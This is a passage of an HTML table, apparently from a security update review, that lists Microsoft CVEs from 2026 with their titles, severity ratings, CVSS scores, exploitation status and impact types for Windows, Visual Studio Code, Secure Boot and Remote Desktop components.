  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
